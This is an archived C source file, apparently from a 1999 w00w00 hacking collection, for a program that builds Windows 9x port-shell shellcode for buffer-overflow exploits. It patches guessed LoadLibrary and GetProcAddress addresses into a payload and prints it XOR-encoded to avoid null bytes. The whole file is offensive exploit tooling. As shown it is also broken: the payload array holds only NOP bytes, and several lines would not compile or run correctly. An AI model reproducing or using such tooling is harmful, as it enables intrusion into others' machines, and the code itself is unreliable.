home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / windows / winshell / shellgen.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-12-31  |  3.7 KB  |  156 lines

  1. /* 
  2.  * This just generates Win9x porthshell code (on the fly).
  3.  *
  4.  * -------------------------------------------------------------------
  5.  * Usage: shellgen [options]
  6.  *
  7.  * Options:
  8.  * -a abs. address (used as base)
  9.  * -b bufsize
  10.  * -o offset
  11.  * -------------------------------------------------------------------
  12.  *
  13.  * An absolute address (to use as a base) must be specified, unless 
  14.  * running from a Win9x machine (their stack pointers should be close
  15.  * close enough).
  16.  * 
  17.  * Copyright (C) March 1999, Matt Conover (Shok) & w00w00
  18.  * http://www.w00w00.org
  19.  */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <unistd.h>
  24. #include <string.h>
  25. #include <getopt.h>
  26. #include <errno.h>
  27.  
  28. #define ERROR -1
  29.  
  30. #define NOP 0x90
  31. #define OFFSET 0
  32. #define BUFSIZE 512
  33.  
  34. char shellcode[] =  /* Win9x shellcode */
  35.   "\x90\x90\x90\x90\x90\x90\x90";
  36.  
  37. unsigned long getesp();
  38. void printcode(char *buf, int bufsize);
  39. void usage(char *progname, int code);
  40.  
  41. int main(int argc, char **argv)
  42. {
  43.    int opt = 0;
  44.    register int i, j;
  45.    char addrstr[32], *buf, *bufptr;
  46.  
  47.    int offset = OFFSET, bufsize = BUFSIZE;
  48.    unsigned long *addrptr, addr1, addr2, stackaddr = ERROR;
  49.  
  50.  
  51.    if (argc > 1)
  52.       while ((opt = getopt(argc, argv, "a:b:o:h")) != ERROR)
  53.          switch(opt)
  54.          {
  55.             case 'a': /* if not specified, will use getesp() */
  56.                stackaddr = atol(optarg);
  57.                break;
  58.  
  59.             case 'b':
  60.                bufsize = atoi(optarg);
  61.                break;
  62.  
  63.             case 'o':
  64.                offset = atoi(optarg);
  65.                break;
  66.  
  67.             case 'h':
  68.                usage(argv[0], 0);
  69.  
  70.             case '?':
  71.                putchar('\n');
  72.                usage(argv[0], ERROR);
  73.          }
  74.  
  75.    /* --------------------------------------------- */
  76.  
  77.    if (bufsize < BUFSIZE)
  78.    {
  79.       fprintf(stderr, "error: bufsize must be at least %d bytes\n\n", 
  80.               BUFSIZE);
  81.  
  82.       exit(ERROR);
  83.    }
  84.  
  85.    memset(addrstr, 0, sizeof(addrstr));
  86.  
  87.    printf("estimated LoadLibrary() address (in hex): ");
  88.    fgets(addrstr, sizeof(addrstr) - 1, stdin);
  89.    addr1 = atol(addrstr);
  90.  
  91.    memset(addrstr, 0, sizeof(addrstr));
  92.  
  93.    printf("estimated GetProcAddress() address (in hex): ");
  94.    fgets(addrstr, sizeof(addrstr) - 1, stdin);
  95.    addr2 = atol(addrstr);
  96.  
  97.    /* --------------------------------------------- */
  98.  
  99.    putchar('\n');
  100.    printf("LoadLibrary() = 0x%lx, GetProcAddress() = 0x%lx\n", 
  101.           addr1, addr2);
  102.  
  103.    printf("bufsize = 0x%x (%d) bytes, offset = 0x%x (%d) bytes\n\n",
  104.           bufsize, bufsize, offset, offset);
  105.  
  106.    if (stackaddr == ERROR) stackaddr = getesp() + offset;
  107.    else stackaddr += offset;
  108.  
  109.    printf("using 0x%lx as stack address\n\n", stackaddr);
  110.  
  111.    /* --------------------------------------------- */
  112.  
  113.    bufptr = strstr(shellcode, "\xff\xff\xff\xff");
  114.    if (bufptr == NULL)
  115.    {
  116.       fprintf(stderr, "error: LoadLibrary() shellcode entry not found\n");
  117.       exit(ERROR);
  118.    }
  119.  
  120.    ((long)*bufptr) = ntohl(addr1), bufptr += 4; /* LoadLibrary() */
  121.    ((long)*bufptr) = ntohl(addr2); /* GetProcAddress() */
  122.    /* ------------------------------------------- */
  123.  
  124.    printf("char shellcode[] =\n\"");
  125.  
  126.    /* this will just print it in one long string, becaues we're lazy */
  127.  
  128.    for (bufptr = shellcode; *bufptr; bufptr++)
  129.    {
  130.       /* xor the shellcode by 0x1 to avoid nulls */
  131.       printf("\x%02x", *bufptr ^ 0x1); 
  132.    }
  133.  
  134.    printf("\";");
  135.  
  136.    return 0;
  137. }
  138.  
  139. void usage(char *progname, int exitcode)
  140. {
  141.    fprintf(stderr, "Usage: %s [options]\n\n", progname);
  142.  
  143.    fprintf(stderr, "options:\n"
  144.                    "-a abs. address (used as base)\n"
  145.                    "-b bufsize\n"
  146.                    "-o offset\n\n");
  147.  
  148.    exit(exitcode);
  149. }
  150.  
  151.  
  152. unsigned long getesp()
  153. {
  154.    __asm__("movl %esp,%eax"); /* store esp in return value (eax) */
  155. }
  156.